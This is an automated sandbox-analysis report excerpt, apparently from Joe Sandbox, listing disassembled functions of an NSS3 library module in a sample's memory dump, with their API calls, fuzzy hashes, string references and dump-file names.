Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&il
API String ID: 704537481-872921247
Opcode ID: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction ID: d79f04e49aa2052efab44391b3388b5b50f0617fb5047a59d1bbeac192c8e901
Opcode Fuzzy Hash: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction Fuzzy Hash: 48213775A0020AABEB009F29EC44F9A37ADEF423A8F244164FD19C7B01E731D955C7E9

Function 6C6BCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 16ba786e57d150884e2954345e4da23bec673fbe68648ccc5d555f5f0d27a667
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 6D11E4B1E002047BEB00AA667C51B6BB5EC9F4524DF004039FC0AE7741FB70DA2887BA

Function 6C668C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C668C1B
EnterCriticalSection.KERNEL32 ref: 6C668C34
PL_ArenaAllocate.NSS3 ref: 6C668C65
PR_Unlock.NSS3 ref: 6C668C9C
PR_Unlock.NSS3 ref: 6C668CB6

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Strings

KRAM, xrefs: 6C668C8F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction ID: 76328f497f12a5b1d249a6ff8bd83f0491ada62fe47fbed3f0cd1a15e1d93497
Opcode Fuzzy Hash: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction Fuzzy Hash: 772197B16056019FD700AF79C484559F7F4FF0A308F05896ED884CBB11DB35E885CB9A

Function 6C678E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EA2

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EC3
TlsGetValue.KERNEL32(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C678EF1
PR_Unlock.NSS3 ref: 6C678F20

Strings

b.il, xrefs: 6C678E96, 6C678F25

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.il
API String ID: 1978757487-1921218275
Opcode ID: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction ID: d589748912b51aad0dc5bac8657d9d82ec45b37514a343fa6f63ff163eb44522
Opcode Fuzzy Hash: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction Fuzzy Hash: 43219C70908705AFC700AF29D184599BBF0FF49368F01496EEC98ABB50D734E854CBEA

Function 6C6E3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_EnterMonitor.NSS3(?), ref: 6C6E3E45

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6E3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6E3EA6

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6E3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6E3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6E3EEE

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: df85b102a79697b97ae101c0efa96709c99f3f6c47b4e1667b29f4c2c7f792db
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 3511B771519600AFDB319E29FC06BC7B7A1DB55308F040836E65A87E30E632E82BC74A

Function 6C762C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C762CA0
PR_ExitMonitor.NSS3 ref: 6C762CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C762CD1
strdup.MOZGLUE(?), ref: 6C762CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C762D27

Strings

Loaded library %s (static lib), xrefs: 6C762D22

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction ID: cdf06b865eb46c87cc1f52af93245874f40d05e4d73b23d7269d894145112d2a
Opcode Fuzzy Hash: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction Fuzzy Hash: 4F1104B17012059FEB008F16D949E6677B5AB4634EF14813DDC09C7F41EB31D808CBA5

Function 6C65BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BDCA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDDB

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDEC

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C65BE03

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65BE3B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: ec08bc34d3a50fce9b4313ce826fd95a03ae5485d95d032c64b5bc403fd3912c
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 0201DBA5B4121276F61013666C01FA7664C8FD23CDF680030FE05A6B82FB61E53A83BE

Function 6C6B0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B
TlsGetValue.KERNEL32(00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1044
free.MOZGLUE(00000000,?,00000800,6C64EF74,00000000), ref: 6C6B1064

Strings

security, xrefs: 6C6B1025

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction ID: 8c93f49064b597ba2401bade9a46978980df02935f628d62746fdb0b1c880ab2
Opcode Fuzzy Hash: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction Fuzzy Hash: B2010831640250B7E7202F6DAC05B963678BF17789F014135E908A6A51EF71C165DBDA

Function 6C6E1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6E1C74

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6E1C92
free.MOZGLUE(?), ref: 6C6E1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6E1CCB
free.MOZGLUE(?), ref: 6C6E1CD2

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction ID: 98cd11b7d01fb884a8ceb90e7c58dbee9b95002e45c416f85f66606faf586c91
Opcode Fuzzy Hash: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction Fuzzy Hash: 300196B1F0B211AFDF20AFE49D0DF8937B8A70B719F100136E90AE6A41D725D145579D

Function 6C6F2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F3046

Part of subcall function 6C6DEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C6C7FFB), ref: 6C6F312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6F3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6F2E8B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6DF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C6C9BFF,?,00000000,00000000), ref: 6C6DF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C6C7FFA), ref: 6C6F2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6F317B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction ID: f8f5d4d53ba9776809a09e652965c1dd041f9ba1af1efbf5b2ef7fc5339d2de9
Opcode Fuzzy Hash: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction Fuzzy Hash: 9AA1D071A002189FDB24CF54CC84BEAB7B6EF45308F148099ED596B741E731AD46CFA6

Function 6C6BED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C6BED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C6BEDCE

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

free.MOZGLUE(00000000,?,?,?,?,6C6BB04F), ref: 6C6BEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6BEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6BEEFB

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction ID: ed0e2b82c5d8c0918f4eba002951f7eef7a561eb8374721b122411793bd032d3
Opcode Fuzzy Hash: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction Fuzzy Hash: 6281ADB5A002059FEB10CF59DC84BAB77F5FF89308F144468E815AB751DB30E826CBA9

Function 6C6BCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

PR_Now.NSS3 ref: 6C6BCD35

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

Part of subcall function 6C6A6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

PR_GetCurrentThread.NSS3 ref: 6C6BCD54

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Part of subcall function 6C6A7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651CCC,00000000,00000000,?,?), ref: 6C6A729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C6BCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C6BCE2C

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C6BCE40

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

Part of subcall function 6C6BCEE0: PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC
Part of subcall function 6C6BCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

